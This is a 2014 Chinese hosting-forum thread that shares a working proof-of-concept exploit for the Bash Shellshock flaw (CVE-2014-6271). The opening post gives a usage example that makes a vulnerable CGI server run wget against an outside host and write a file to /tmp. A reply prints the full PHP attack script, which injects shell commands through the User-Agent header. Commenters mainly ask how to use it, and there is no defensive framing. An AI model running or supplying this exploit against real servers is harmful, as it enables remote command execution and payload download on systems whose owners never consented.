全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

CeraNetworks网络延迟测速工具IP归属甄别会员请立即修改密码
查看: 2217|回复: 5

BASH远程命令执行漏洞【POC】

[复制链接]
发表于 2014-9-25 19:44:04 | 显示全部楼层 |阅读模式
BASH远程命令执行漏洞【POC】

使用方法:

php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd

例子:
php bash.php -u http://localhost/cgi-bin/hello -c "wget http://website.com-O /tmp/shit"

谁有账号?

https://www.t00ls.net/thread-27957-1-1.html
发表于 2014-9-25 20:05:24 来自手机 | 显示全部楼层
到底怎么使用
发表于 2014-9-25 20:08:45 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
 楼主| 发表于 2014-9-25 20:24:22 | 显示全部楼层

谁有账号?

https://www.t00ls.net/thread-27957-1-1.html
发表于 2014-9-25 20:50:55 | 显示全部楼层

   

    <?php  
    /*  
    CVE: 2014-6271  
    Vendor Homepage: https://www.gnu.org/software/bash/  
    Author: Prakhar Prasad && Subho Halder  
    Author Homepage: https://prakharprasad.com && https://appknox.com  
    Date: September 25th 2014  
    Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26  
    GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)  
    Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd  
    Test CGI Code : #!/bin/bash  
    echo “Content-type: text/html”  
    echo “”  
    echo “Bash-is-Vulnerable”  
    */   
    error_reporting( 0 );  
    if (!defined(‘STDIN’)) die( “Please run it through command-line!\n” );  
    $x = getopt( “u:c:” );  
    if (!isset($x['u']) || !isset($x['c']))  
    {  
    die( “Usage: “ .$_SERVER['PHP_SELF']. ” -u URL -c cmd\n” );  
    }  
    $url = $x['u'];  
    $cmd = $x['c'];  
    $context = stream_context_create(  
    array(  
    ‘http’ => array(  
    ‘method’ => ‘GET’,  
    ‘header’ => ‘User-Agent: () { :;}; /bin/bash -c  “‘.$cmd.’” ‘  
    )  
    )  
    );  
      
    if (!file_get_contents($url,  false , $context) && strpos($http_response_header[ 0 ], “500″ ) >  0 )  
    die( “Command sent to the server!\n” );  
    else   
    die( “Connection Error\n” );  
    ?>  

您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2024-5-5 05:50 , Processed in 0.244751 second(s), 10 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表